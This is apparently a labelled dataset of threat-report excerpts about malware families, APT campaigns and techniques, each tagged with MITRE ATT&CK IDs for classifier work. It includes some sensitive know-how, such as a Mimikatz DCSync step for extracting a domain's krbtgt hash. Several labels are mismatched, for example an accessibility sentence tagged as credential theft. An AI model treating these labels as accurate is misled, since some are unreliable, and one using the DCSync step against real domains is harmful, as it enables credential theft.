"""This time, the text is from the novel """"The Brothers Karamazov"""" by Fyodor Dostoevsky (a Russian writer). The malicious document drops a Python interpreter and PoetRAT. The author made a few changes to the PoetRAT malware, though. First, the malware uses pyminifier to obfuscate the Python script and avoid detection based on string or YARA rules: The obfuscation is a base64 and an LZMA compression algorithm. The most notable change is the protocol used to download and upload files""",T1027 | T1059.005
"The malware uses Pastebin for Command and Control (C2). The URL “https://pastebin[.]com/HWBVXK6H” is used to check for the latest version of the malware. If a new version is available, the malware reaches out to “https://pastebin[.]com/yPRSa0ki”. The paste shown below serves as a redirect to the actual setup stript",T1071.001 | T1102.001
"If it is running on an infected machine for the first time (depending on whether a flag file exists), it sends a POST packet to its command-and-control (C&C) server informing it that a machine has been infected",T1083
The targeting of insurance and retail organizations is peculiar as it does not fit with this threat groups prior target set. The email subject and attachment file names used in the attacks on these seemingly atypical targets were similar in theme as those used when attacking government organizations. The lack of industry or target specific social engineering themes likely lowers the chances of a successful compromise and further confuses our understanding of the purpose of attacking these organizations,T1059.005
"Note- Guloader heavily uses time checks and other traditional anti-analysis techniques. Therefore, to save time, in this analysis I will use the ScyllaHide plugin. Also, several of the Guloader’s anti-analysis techniques are impossible to evade without manual intervention",T1497.001
"SDBbot RAT has been observed in Hive0065 attacks since at least September 2019 and has been used primarily as a secondary payload. This malware features remote-access capabilities, accepts commands from a C&C server such as video recording, and has the ability to exfiltrate data from the victimized devices and networks",T1140 | T1125
"Upon execution, the document used template injection to download the next stage RTF exploit that downloaded the final stage Warzone payload using a DLL embedded in the RTF exploit",T1221 | T1221
"Philadelphia ransomware has been circulating since September 2016. It first attracted our attention in April of this year [12] when we observed an actor customizing the malware for use in highly targeted campaigns. In a brief stint, TA505 distributed it in one large campaign in July, but we have not seen them use it since",T1059.001
"The APT actor scanned for vulnerable Citrix and Microsoft Exchange services and identified vulnerable systems, likely for future exploitation. This actor continues to exploit a Citrix Directory Traversal Bug (CVE-2019-19781) and a Microsoft Exchange remote code execution flaw (CVE-2020-0688",T1190 | T1595.002
"MCMD provides the threat actor with a reverse command shell, which facilitates the execution of arbitrary commands on the impacted device, as well as the ability to upload and download additional files. In all observed cases, MCMD utilizes PHP pages on compromised websites for command and control (C2) capability",T1105
"A new service is then created using the service parser function ProcessScCommand. ZxShell implemented its own version of the Windows SC command. There are minor differences between the ZxShell implementation of this command and the original Windows one, but they are irrelevant for the purpose of the analysis The command used to install the service is",T1569.002 | T1543.003
Installs itself as a Windows service - Sets a specific keyword for communication - Exchanges messages and commands with the kernel driver - Performs backdoor functions,T1569.002
"Executing the browser from any other Chrome shortcut link will start and run it normally without the malicious extension, canceling out the malware’s ability to control what the victim does",T1204.001
Stage2.exe is a beaconing implant that performs an HTTPS connection to download a JPG file hosted on Discord’s content delivery network (CDN). Discord’s CDN is a user-created service that allows users to host attachments and is not malicious,T1105
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"INDRIK SPIDER is a sophisticated eCrime group that has been operating Dridex since June 2014. In 2015 and 2016, Dridex was one of the most prolific eCrime banking trojans on the market and, since 2014, those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits. Throughout its years of operation, Dridex has received multiple updates with new modules developed and new anti-analysis features added to the malware",T1059.003
NetUser - provides more information about the user - SystemUpTime - records the amount of time the machine is running - WindowsVersion - determines the Windows version,T1082
"The signed Plead malware samples are highly obfuscated with junk code, but the purpose of the malware is similar in all samples: it downloads from a remote server or opens from the local disk a small encrypted binary blob. This binary blob contains encrypted shellcode, which downloads the final Plead backdoor module",T1001.001
Persistence is established via the HKCUSoftwareMicrosoftWindowsCurrentVersionRun key value for wdm set to the path of the executable. Previous samples have set persistence via Run key values for 360v,T1547.001
"One of the recent advancements by APT34 is the use of DGA to generate subdomains. The BONDUPDATER script, which was named based on the hard-coded string “B007”, uses a custom DGA algorithm to generate subdomains for communication with the C2 server",T1568.002
"DarkWatchman includes a feature complete C# keylogger that is dropped alongside the RAT in text format. The keylogger is provided as C# code and compiled during runtime from a Base64 PowerShell command stored in the registry. The keylogger code itself is obfuscated, with both function and variable names being randomized. However, there is no other obfuscation – no redundant logic or unnecessary functions – which leaves the entire compiled keylogger at 8.5kb",T1010
"This tool has been used by a few groups since at least 2012 based upon PEBuildDates). However this sample is a bit more interesting. Normally HTTPBrowser sends traffic over HTTP using a user-agent of HTTPBrowser/1.0. This sample uses DNS as a covert channel for communications. Specifically this sample utilizes DNS TXT records with 9 uppercase letters followed by a number and 7 more uppercase letters, then the C2 domain used. The other samples use the C2 domains of local.it-desktop.com and hi.getgo2.com",T1071.001
"1) Wscript makes subsequent DNS requests for a Stage Two payload 2) ‘Rundll32.exe -> PicturesViewer.dll, DllRegisterServer,’ allowing for C2 communication 3) MSIExec, spawning multiple Cmd.exe processes and Explorer injection 4) Commands run by the C2",T1059.003 | T1218.007
"When G-Data published their Turla paper, there were few details publicly available on how victims get infected with this malware campaign. Our analysis indicates this is a sophisticated multi-stage infection; which begins with Epic Turla. This is used to gain a foothold and validate the high profile victim. If the victim is interesting, they get upgraded to the Turla Carbon system",T1124 | T1016
"In March 2020, an additional version of the AppleJeus malware was identified. The download page has release notes with version revisions claiming to start with version 1.0.0, released on April 15, 2019",T1587.001
"Adding itself to startup is a classic technique for macOS, and is done by creating a .plist file in the /Library/LaunchAgents/ folder with a link to the malware",T1543.001
The group has used Twitter accounts to find and monitor its targets to prepare well crafted spear phishing emails. The group also is using Gmail accounts to use for phishing attacks or registering domains. One of the Gmail accounts used by this actor is ” tjkim1991@gmail[.]com” which was used to register the following domains,T1583.001 | T1593.001
"During our research, we discovered a compromised host in Saudi Arabia that used ScreenConnect remote administration software. They were targeted via a malicious .ZIP file (SHA256 hash: b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf) that contained a ScreenConnect executable (SHA256 hash: 2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf",T1566.001
"Talos has found a new set of malicious blogs operated by Kimsuky delivering three previously unknown preliminary components: an initial beacon script, a file exfiltrator and an implant instrumentor. One of these components, the implant instrumentor, delivered an additional three types of malware",T1105 | T1218.011
"REvil checks for command-line switches passed to the executable when it was launched. The analyzed sample supports a single command-line switch: -nolan. By default, REvil encrypts the contents of local fixed hard drives and network-attached shares. If the -nolan command-line switch is passed when the binary is launched, REvil ignores network-connected resources",T1140
Masquerading - T1036 Phishing - T1566 Remote Access Software - T1219 Spearphishing Attachment - T1566.001 Spearphishing Link - T1566.002 User Execution - T1204 User Execution: Malicious File - T1204.002,T1204.002
"Innovate and modify the code that accomplishes the installation, while the backdoor code remains more static - Use scripting languages such as JavaScript, JavaScript Scriptlets, VBScript, and XML - Use simple obfuscation such as base64, gzip compression, and insertion of garbage characters - Split functionality of the backdoor & code that establishes persistence for the backdoor into separate files and scripts",T1027.001 | T1027
"While some variations exist in functionalities, the main purpose of these modules is to enumerate all documents on a compromised system and upload them to the C&C server. As with many other tools used by the Gamaredon group, they come in four different coding languages: C/C++, C#, batch file and VBScript",T1020
"It then calls the Load() function for the current application domain to load the FoggyWeb DLL into the application domain. After the FoggyWeb DLL is loaded into the current application domain, the loader invokes the following method from the DLL: Microsoft.IdentityServer.WebExtension.WebHost. It then calls the Load() function for the current application domain to load the FoggyWeb DLL into the application domain. After the FoggyWeb DLL is loaded into the current application domain, the loader invokes the following method from the DLL: Microsoft.IdentityServer.WebExtension.WebHost",T1620
"Each value of the config is written to the registry after encrypting them using the DES algorithm. A new registry key is created under HKEY_CURRENT_USER\Software\Classes\ using either the SystemProductName value from the HARDWARE\DESCRIPTION\System\BIOS key or the hardcoded string “68A-D3H-B1111 as a name. Additionally, a hardcoded string -HjDWr6vsJqfYb89mxxxx is appended to the name",T1543.003
"Development of UBoatRAT At the time of this writing, we have identified fourteen samples of UBoatRAT and one downloader associated with the attacks. Most of UBoatRAT samples retrieve C2 address from GitHub as described above. Only one sample released in May connected to public blog service in Hong Kong and compromised legitimate web server in Japan as C2. The sample uses regular HTTP protocol for communication. The account for the blog, 'elsa_kr' has existed since April 2016 and has no meaningful contents at this moment",T1071.001 | T1102.002
"When the Excel document is opened, two executables (utilman.exe and mpsvc.dll) will be dropped at folder %AppData%MicrosoftCorporation. A shortcut for utilman.exe is then created at the startup folder so that the dropped files execute during the next reboot of the machine and communicate with a command and control (C2",T1547.001
"The results will be stored in a JSON format, AES-encrypted and sent as an attachment using the Dropbox API",T1573.001
"The malware then checks the functionality of its tor proxy by utilizing the curl command to contact the command and control server. After connecting to the CnC, the malware sends the data it had collected earlier, such as system information, by sending POST requests through the TOR proxy. After exfiltration of the data, the malware deletes the temporary files containing the data it sent",T1070.004
"Ahnlab, a South Korean software company, simultaneously published a paper regarding Bisonal's activity in South Korea. In this case, the infection vector has changed from previous samples. The initial stage is a binary that drops a decoy document (Powerpoint or Excel document), a VisualBasic script and the packed Bisonal payload. Similar to attacks in 2019, the attacker appends data in order to generate a large binary. Although the malicious part of the binary is only 2MB, the final file is more than 120MB in size, padded out with random data. The payload has been packed with a new packer. The code of Bisonal is similar to the version of 2019",T1132.001 | T1027.001
It is possible that Group 72 has a vulnerability research team searching for 0-day vulnerabilities in Windows,T1203 | T1190
"Cicada clearly still has access to a lot of resources and skills to allow it to carry out a sophisticated and wide-ranging campaign like this, so the group remains highly dangerous. Its use of a tool to exploit the recently disclosed ZeroLogon vulnerability and a custom backdoor that has not been observed by Symantec before show that it continues to evolve its tools and tactics to actively target its victims",T1199 | T1210
"WIZARD SPIDER has developed their tools over a number of years, and they continue to evolve the tactics, techniques and procedures (TTPs) needed to monetize their criminal operations in an efficient and effective manner. TrickBot . TrickBot has remained a primary tool for WIZARD SPIDER and has grown to infect upward of one million systems worldwide. This has made WIZARD SPIDER’s TrickBot malware an extremely prevalent and widely tracked target. However, in spite of this, TrickBot activity has returned to its usual rapid pace, and the impact of the disruption operation was manifested as a short-term setback for WIZARD SPIDER. Ryuk’s Return . Since September 2018, WIZARD SPIDER’s Ryuk ransomware has been the group’s most lucrative operation for siphoning money from its victims through extortion. It is possible that Conti and Ryuk may continue to be used simultaneously by WIZARD SPIDER, with either one being deployed depending on particular characteristics of the victim organization. Conti has been continually improved by WIZARD SPIDER and has already been used to compromise over 120 victim networks, with stolen data listed on the Conti DLS. Conti victims span multiple sectors and geographies, the vast majority of which are based in North America and Europe (Figure 4). This opportunistic targeting is indicative of WIZARD SPIDER and wider ransomware operations. Conti Ransomware Victims by Sector and Geography (click image to enlarge) . Conti has been under active development throughout WIZARD SPIDER’s deployment of the ransomware in BGH campaigns. WIZARD SPIDER, with its diverse and effective toolset, has proven to be a highly capable adversary and continues to be resilient, reactive and resolute as they continue to run their formidable criminal enterprise",T1204.002
"Pteranodon is a backdoor which also can capture screenshots based on a configuration file created on the disk. Further, it uploads the screenshots to the C2 server unencrypted",T1041 | T1113
"Then, hard drives on a system are enumerated and for each drive, the \\.\EPMNTDRV\ device is called. Then the driver that was extracted is loaded by creating a new service using the CreateServiceW which rewrites the first 512 bytes of the Master Boot Record (MBR",T1134
Finally it calls “CreateThread” to create a thread within its memory space to make HTTPS requests to its C&C server,T1071.001
"Despite seemingly wide deployment of malicious capabilities in the region, follow-on activities by the group occur in areas of discrete interest, indicating a possible review of targeting. Following initial access, MSTIC has observed ACTINIUM deploying tools such as “Pterodo” to gain interactive access to target networks. In some cases, MSTIC has observed deployments of UltraVNC to enable a more interactive connection to a target",T1021.005
"The DOTM (Office template filetype) files are responsible for loading the patched DLLs onto the victim’s machine to collect and gather data. These DOTM files are created with DLL files encoded directly into the structure of the file. These DOTM files exist on remote servers compromised by the adversary; the first stage document contains an embedded link that refers to the location of this file. When the victim opens the document, the remote DOTM file that contains a Visual Basic macro code to load malicious DLLs, is loaded. Based on our analysis, these DLLs were first seen on 20 April 2020 and, to our knowledge based on age and prevalence data, these implants have been customized for this attack",T1005
"We can compare it to the sample e338d49c270baf64363879e5eecb8fa6bdde8ad9 used in May 2017 by Group 74. In this campaign, adversaries did not use any exploit. Instead,the payload is executed in standalone mode by rundll32.exe. Adversaries also changed some constants, such as the XOR key used in the previous version",T1059.003
"The Agent Tesla spyware Trojan has reportedly been around since 2014, but has undergone constant improvements and updates. Agent Tesla operators seem to have stayed in business for quite some time",T1204.002
"Now let’s extract the krbtgt account hash from a dev.testlab.local domain controller. Instead of having to install an agent, we can now use Mimikatz’ DCSync to extract the hash. One thing to note is that you need to specify “<NT4_DOMAINNAME>\krbtgt” for the specified user for this to work properly (you can find the domain shortname easily with whoami or other methods). In this case we’re using DEV",T1550.003
"Once a victim was accessed, attackers would determine if the user account was an administrator or normal user. They would then download post-exploitation tools that included password/process-dumping utilities, reverse-tunneling tools, and custom backdoors",T1555.003 | T1555
"An APT group that we are calling BackdoorDiplomacy, due to the main vertical of its victims, has been targeting Ministries of Foreign Affairs and telecommunication companies in Africa and the Middle East since at least 2017. For initial infection vectors, the group favors exploiting vulnerable internet-exposed devices such as web servers and management interfaces for networking equipment. Once on a system, its operators make use of open-source tools for scanning the environment and lateral movement. In several instances, the group has been observed targeting removable media for data collection and exfiltration",T1505.003
"A day later, public reporting outlined new malware called WhisperGate that originally was observed on Jan. This malware disables Windows Defender Threat Protection, is destructive in nature and was discovered to have targeted multiple organizations in Ukraine. Microsoft has publicly attributed the use of this custom malware to a threat actor they refer to as DEV-0586",T1218.004
"After the macro is executed, it creates an EXE file in startup directory. This EXE file is “Flagpro”. In the most cases, this created EXE files are named “dwm.exe”. When the system launches next time, Flagpro, which was placed in startup directory as “dwm.exe”, will be executed",T1547.001
"""For the first time, the ROKRAT sample used during the """"North Korean Human Rights"""" contained a browser credentials stealer. The code used to perform this task in the same that found within in a Freenki sample deployed in 2016. The malware is able to extract the stored passwords from Internet Explorer, Chrome and Firefox. For Chrome and Firefox, the malware queries the sqlite database containing the URL, username and password: Additionally, they support the Microsoft Vault mechanism. Vault was implemented in Windows 7, it contains any sensitive data (like the credentials) of Internet Explorer""",T1203
"""Our latest Transparent Tribe research confirms that the group continues to create malicious domains mimicking defense-related entities as a core component of their operations. The victim is encouraged to click on an embedded URL hosted on sharingmymedia[.]com, which then downloads ObliqueRAT, the trojan discovered by Talos in 2020 associated with threat activity targeting entities in South Asia. Security researchers previously discovered Transparent Tribe using sharingmymedia[.]com to host Android malware targeting Indian military and defense personnel.Figure 1: Maldoc masquerading as a congratulatory notice from CLAWS. In such cases, adversaries would deliver phishing maldocs to targets containing a malicious VBA macro that extracted either the CrimsonRAT executable or a ZIP archive embedded in the maldoc. For example, attackers leveraging ObliqueRAT started hosting their malicious payloads on compromised websites instead of embedding the malware in the maldoc. Figure 2 shows the attackers' use of HTTrack, a free website copier program, to duplicate a legitimate website to use for their own malicious purposes. These examples highlight Transparent Tribe's heavy reliance on social engineering as a core TTP and the group's efforts to make their operations appear as legitimate as possible.Figure 2: Fake website cloned using HTTrack on May 29, 2020. The malicious domain prompts the victim to enter their name and email address to sign up and download a seemingly important """"guide on pay and allowance. Upon clicking """"Download Now,"""" a malicious XLS file is downloaded onto the victim's computer. After enabling macros, the file executes CrimsonRAT on the endpoint.Figure 4: The """"Download Now"""" button contains a link to a malicious XLS with CrimsonRAT embedded in it""",T1566.002
"The indian-attack[.]blogspot[.]com does not contain any malicious exploit code or payloads, but has a theme of terrorism in India. A blog with a theme related to India closely resembles the India News Tribe (intribune[.]blogspot[.]com) blog that ProjectM used in Operation Transparent Tribe to deliver Crimson payloads",T1608.004 | T1566.001 | T1189
"HyperStack checks the configuration file to determine if the Type equals SilentMoon. If yes, it generates an RSA PKCS key using CryptGenKey that is used for encryption of communication session keys. It then writes the RSA key to the PRVK key in the [Version] section of the config file. Turla’s Carbon backdoor also implements RSA encryption on the session keys for some of its C&C channels",T1573.001
"In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. These files have most recently been found in use by criminals to deliver commodity RATs such as Flawed Ammyy. In DarkHydrus's case, the preferred payload retrieved in their previous attacks were exclusively open-source legitimate tools which they abuse for malicious purposes, such as Meterpreter and Cobalt Strike. However, in this instance, it appears that this group used a custom PowerShell based payload that we call RogueRobin",T1588.002
"Below is a snippet from the setup script used by Rocke in a previous campaign that also uses the serviced called netdns. After the file is created, the access and modified time is changed before the file is marked as non-modifiable",T1222.002
"They were able to compromise critical assets including production servers and database servers, and they even managed to gain full control of the Domain Controller",T1190
"One APT31 campaign was based on emailing links that would ultimately download malware hosted on GitHub. The malware was a python-based implant using Dropbox for command and control. Every malicious piece of this attack was hosted on legitimate services, making it harder for defenders to rely on network signals for detection",T1583.006
"0.js also downloads two additional files from the C&C server (green.ddd and green.tmp) The first of these files, green.ddd, is an executable file internally named “SEDll_Win32.dll”. This is a known backdoor used by this actor since 2014 for the same purpose: decrypting and executing the final JavaScript backdoor “Orz",T1059.003 | T1059.003
"NetPass.exe: a legitimate utility developed by NirSoft that recovers all network passwords stored on a system for the current logged-on user. This tool can also recover passwords stored in the credentials file of external drives. Outlook scraper: a tool that scrapes dates, names, email addresses, and email bodies from the victim’s Outlook accounts and uses that information to send out additional phishing emails from the compromised accounts. WebBrowserPassView: a password recovery tool that captures passwords stored by Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera and passes them to the credential enumerator module. Mail PassView: a password recovery tool that reveals passwords and account details for various email clients such as Microsoft Outlook, Windows Mail, Mozilla Thunderbird, Hotmail, Yahoo. The bypass component is used for enumeration of network resources and either find writable share drives using Server Message Block (SMB) or tries to brute force user accounts, including the administrator account. Once an available system is found, Emotet then writes the service component on the system, which writes Emotet onto the disk",T1110.001
"""Let's use the mmls utility from Brian Carrier's Sleuth Kit: Let's see what we have here. Let's take a closer look at apg.exe and use PPEE: This looks like TeamViewer and is signed as TeamViewer, so does this mean it indeed is TeamViewer. Judging by the file's size, it has nothing to do with the original msi.dll, so it is clearly DLL Search Order Hijacking. Another interesting file is TeamViewer.ini: Here is anti-forensics: according to the configuration file, our """"TeamViewer"""" did not keep any logs, and was apparently used as a RAT (Remote Access Trojan). Well, not bad. To extract data from it, you can use RegRipper again. Let's take a look, at WinPrintSvc.exe, for instance: Remote Utilities is another remote management tool. Apparently, this is the source of Remote Utilities. If you continue scrolling through the timeline, you will see traces of a rather suspicious directory and file being created: Despite the strange extension, fnbfdnja.hej has a familiar header: What will a checksum search on VirusTotal show us. We already know that it is RTM, and since it is RTM, the most likely vector of infection is a phishing email. In this case, the victim used Microsoft Outlook, so we found the .ost file with mail data in its usual location, and in it — the exact phishing email we have been looking for: On a final note, let us check one more interesting artifact""",T1219
"sendport' Toggle the use of PORT commands. By default, ftp will attempt to use a PORT command when establishing a connection for each data transfer. The use of PORT commands can prevent delays when performing multiple file transfers. If the PORT command fails, ftp will use the default data port. When the use of PORT commands is disabled, no attempt will be made to use PORT commands for each data transfer. This is useful for certain FTP implementations which do ignore PORT commands but, incorrectly, indicate they've been accepted",T1048.003
"1) NetPass.exe is a legitimate utility developed by NirSoft that recovers all network passwords stored on a system for the current logged-on user. This tool can also recover passwords stored in the credentials file of external drives. 2) Outlook scraper is a tool that scrapes names and email addresses from the victim’s Outlook accounts and uses that information to send out additional phishing emails from the compromised accounts. 3) WebBrowserPassView is a password recovery tool that captures passwords stored by Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera and passes them to the credential enumerator module. 4) Mail PassView is a password recovery tool that reveals passwords and account details for various email clients such as Microsoft Outlook, Windows Mail, Mozilla Thunderbird, Hotmail, Yahoo. The bypass component is used for the enumeration of network resources and either finds writable share drives using Server Message Block (SMB) or tries to brute force user accounts, including the administrator account. Once an available system is found, Emotet writes the service component on the system, which writes Emotet onto the disk. Emotet’s access to SMB can result in the infection of entire domains (servers and clients",T1110.001
"The C# variant of Zebrocy is similar to other variants in functionality, but also has several unique attributes that are worth discussing. Like other Zebrocy tools, the C# variant gathers the storage volume serial number to use in outbound beacons to the C2 server. In this particular variant, the tool uses the Windows API function GetVolumeInformation to get the serial number of the C: drive. This variant of Zebrocy also takes a screenshot that it will transmit to the C2 server in JPEG format",T1113
"Attackers and groups routinely use file and URL scanning services to help develop and modify their malware to evade detections. We were already familiar with OilRig’s testing and development efforts as discussed in our previous blog, and we continually watch for changes to OilRig’s development techniques to give us insight into their methods. Gaining this developmental insight sheds light on OilRig’s advanced capabilities, giving us a more complete threat actor profile",T1027.005
"The Komplex payload uses the SERVERS variable to obtain the location of its C2, which it communicates with using HTTP POST requests. The payload generates a URL to communicate with its C2 server that has the following structure",T1071.001
"""The script downloads a file from GitHub called """"libprocesshider,"""" which hides a file called """"x7"""" using the ID preloader. The script looks for IP addresses in known_hosts and attempts to SSH into them, before downloading """"a7"""" again from the actor's HFS at 118[.]24[.]150[.]172, and execute it""",T1518.001 | T1140 | T1018 | T1036.005
"Analysis also revealed that the threat actors used compromised staging targets to download the source code for several intended targets’ websites. Additionally, the threat actors attempted to remotely access infrastructure such as corporate web-based email and virtual private network (VPN) connections",T1189
"Emails dating more than three years prior to malware execution have been included in the collected EmailStorage folder, meaning that there may not be a date limit for the email enumerator. Kroll has identified instances where specific email messages were deleted within the EmailStorage folder. In some instances, the entire EmailStorage folder is deleted once messages have all been exfiltrated. Based on observed cases, there was no evidence that attachments were included in the collected data. Kroll collaborators at the National Cyber Forensics Training Alliance (NCFTA) observed Qakbot samples sending SMTP traffic indicative of outbound spam thread hijackings",T1070.004
"Some of the native functionality that the malware provides without the use of a plugin includes collecting system data—such as computer name, username, current process, operating system (OS) version, local system time, and the current process that the malware is masquerading as (System Owner/User Discovery [T1033], Process Discovery [T1057], System Time Discovery [T1124], Masquerading [T1036]). The program also contains native C2 capabilities allowing it to communicate with the remote operator using an embedded SOCKS proxy or via domain name system (DNS) tunneling (Proxy [T1090",T1090
"Upon initialization, two optional command-line parameters may be used to specify how long the malware will sleep before destruction begins and the system is restarted",T1497.003
"The Lazarus group has been observed using Windows commands that differ from Andariel, such as preferring the “-ano” option with the “netstat” command and “find” as a filter command, rather than “findstr",T1057
"In most cases, the MSI file executed a function from the embedded DLL, but there were also other cases where a VBS script was used in place of the DLL",T1218.007 | T1218.007
"We aim to support as many browsers and assistive technologies as possible, so our users can choose the best fitting tools for them, with as few limitations as possible",T1555.003
We confirmed two different techniques used for distributing the Melcoz backdoor: the AutoIt loader script and DLL Hijack,T1059
"creates a scheduled task with the following naming convention (e.g “Notepad++ autoupdate#94654”): [random folder name in %APPDATA%] autoupdate#[random_number] - Writes NTFS ADS files ($TASK, $GUID, $FILE",T1053.005
"The threat actors tend to install malware on a large proportion of hosts during their intrusions. For example, the threat actors deleted volume shadow copies after using them for NTDS.dit retrieval",T1070.004
"psexec.py: PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom). - smbexec.py: A similar approach to PSEXEC w/o using RemComSvc. Our implementation goes one step further, instantiating a local smbserver to receive the output of the commands. This is useful in the situation where the target machine does NOT have a writeable share available. atexec.py: This example executes a command on the target machine through the Task Scheduler service and returns the output of the executed command. wmiexec.py: A semi-interactive shell, used through Windows Management Instrumentation. dcomexec.py: A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints",T1047
The macros are different. In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated,T1204.002
"The cyber offensive programs attributed to these groups, targeting organizations around the world, have been documented for years. Their goals have ranged from gathering data around military technologies to crypto currency theft from leading exchanges",T1027
"The malware also loads shellcode in an additional resource, MD5: a4808a329b071a1a37b8d03b1305b0cb, which contains the METALJACK payload. The shellcode performs a system survey to collect the victim's computer name and username and then appends those values to a URL string using libjs.inquirerjs[.]com",T1033
"As has been previously reported, there are two variants of the trojan TinkaOTP. The version that has received the most attention contains the malware payload in the application bundle’s Resources folder. The file is a Mach-O binary disguised as a .nib file, at ../Resources/Base.lproj/Submenu.nib",T1036
"In addition to WiFi profiles, the executable collects extensive information about the system, including FTP clients, browsers, file downloaders, and machine info (username, computer name, OS name, CPU architecture, RAM) and adds them to a list (Figure 7",T1082
"The SOMBRAT backdoor is packaged as a 64-bit Windows executable. The backdoor's primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines",T1105
"We identified two lure ZIP files being used by Static Kitten designed to trick users into downloading a purported report on relations between Arab countries and Israel, or a file relating to scholarships. The URLs distributed through these phishing emails direct recipients to the intended file storage location on Onehub, a legitimate service known to be used by Static Kitten for nefarious purposes. 6] Anomali Threat Research has identified that Static Kitten is continuing to use Onehub to host a file containing ScreenConnect",T1102.002 | T1583.006
"id-server connection . Post-Exploitation Analysis . During our research, we discovered a compromised host in Saudi Arabia that used ScreenConnect remote administration software. We then observed the threat actors interact with the compromised host using the ScreenConnect software, executing the following commands. Another instance of SharpChisel with different settings is executed, this time using PowerShell using the following command line: This time, traffic will be forwarded to the server over port 443. The use of the following command provides additional evidence to support our assumption: The command connects to the C&C server, downloads procdump64.exe, and saves the file in the C:\programdata directory. The following PowerShell command was used for this: The command downloads out1.exe and saves the file in the C:\users\public\ directory. This is unexpected since we believe this attack is connected to the MuddyWater threat actors — and in other connected campaigns, the attackers have shown higher levels of technical skill. sXpIBdPeKzI9PC2p0SWMpUSM2NSxWzPyXTMLlbXmYa0R20xk . This website uses cookies for website functionality, traffic analytics, personalization, social media functionality and advertising. OFF ON Keyboard Navigation (Motor) Use website with the keyboard This profile enables motor-impaired persons to operate the website using the keyboard Tab, Shift+Tab, and the Enter keys. 2) Keyboard navigation optimization: The background process also adjusts the website’s HTML and adds various behaviors using JavaScript code to make the website operable by the keyboard. If you wish to contact the website’s owner, please use the website's form . Hide Accessibility Interface",T1090.002
"The zipped file contains malicious JavaScript, masquerading as a browser update. A second JavaScript file is then executed by wscript.exe. This JavaScript first profiles the computer using commands such as whoami, net user, and net group, then uses PowerShell to download additional discovery related PowerShell scripts",T1059.007
"In requesting commands, sending execution results of OS commands or collected authentication information, Flagpro accesses a C&C server with specific URL paths and queries. It encodes data with Base64 and sends to the C&C server. Following table shows relations between Flagpro’s activities and the URL paths and queries",T1132.001
"Based on our observation, we strongly believe that there are more targeted devices from other vendors. This malware is modular in nature and it is likely that each vendor has different modules and architectures that were thought out well by the Cyclops Blink actors. But what is evident is that Cyclops Blink is an advanced piece of malware that focuses on persistence and the ability to survive domain sinkhole attempts and the takedown of its infrastructure. The APT group behind this malware has learned from its VPNFilter campaigns and continues to attack IoT devices such as routers",T1105
"After entering their credentials into the fake login page, victims were redirected to the legitimate website where they were automatically logged into a valid session or were prompted to enter their credentials again. Numerous spoofed domains referenced the targeted universities' online library systems, indicating the threat actors' intent to gain access to these resources",T1598.003
"In addition, the malware automatically saves all incoming files from the attacker to its own folder. By this means, attackers can push additional malicious tools to an infected computer",T1105
"192 file extensions Comparing file extension. The wiper will overwrite the content of each file with 1MB worth of 0xCC bytes and rename them by appending each filename with a random four-byte extension. Wiping the file. Finally, it attempts to flush all file buffers to disk and stop all running processes (including itself) by calling ExitWindowsEx Windows API with EWX_SHUTDOWN flag",T1485
"Current builds of Ryuk no longer contain persistence functionality. Previously, to remain persistent on the host, Ryuk created a registry entry under the Run key using Windows cmd.exe shell. The following command line was used to write to the Registry Run Key name svchos to HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run with the value being the path to the Ryuk executable",T1106 | T1059.003 | T1547.001
Change file modes or Access Control Lists. Generally used by malware in order to give executable permissions to an executable payload retrieved remotely from a C2,T1222.002
"CactusPete (also known as Karma Panda or Tonto Team) is an APT group that has been publicly known since at least 2013. Historically, their activity has been focused on military, diplomatic and infrastructure targets in Asia and Eastern Europe",T1203
"COBALT GYPSY has used spearphishing to target telecommunications, government, defense, oil, and financial services organizations based in or affiliated with the MENA region, identifying individual victims through social media sites",T1566.003
Konni Infection chain consists of multiple stages and utilizes living-off-the-land binaries in its operation from the use of certutil.exe to download additional files and decode their content to sc.exe and reg.exe for persistence,T1059.003
"In March, we came across an email with a malware attachment that used the Gamaredon group’s tactics. Some of the emails used the coronavirus pandemic as a topic to lure victims into opening emails and attachments",T1566.001
The backdoor’s communication with the C&C server (sarmsoftware[.]com) is HTTP based on port 443 with port 80 as fallback,T1071.001 | T1008
"After verifying the user is an admin, the threat actor gathers information about the domain controllers and their IP addresses using an additional Base64-encoded and compressed PowerShell command",T1482
"BADFLICK: a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command and control (C2) configuration. HOMEFRY: a 64-bit Windows password dumper/cracker that has previously been used in conjunction with AIRBREAK and BADFLICK backdoors",T1070.004
"At the moment we are receiving many inquiries about how to check systems for a Flame infection. Of course the simplest answer, for us, is to advise to use Kaspersky Lab Antivirus or Internet Security. We successfully detect and delete all possible modifications of the main module and extra components of Flame",T1518.001
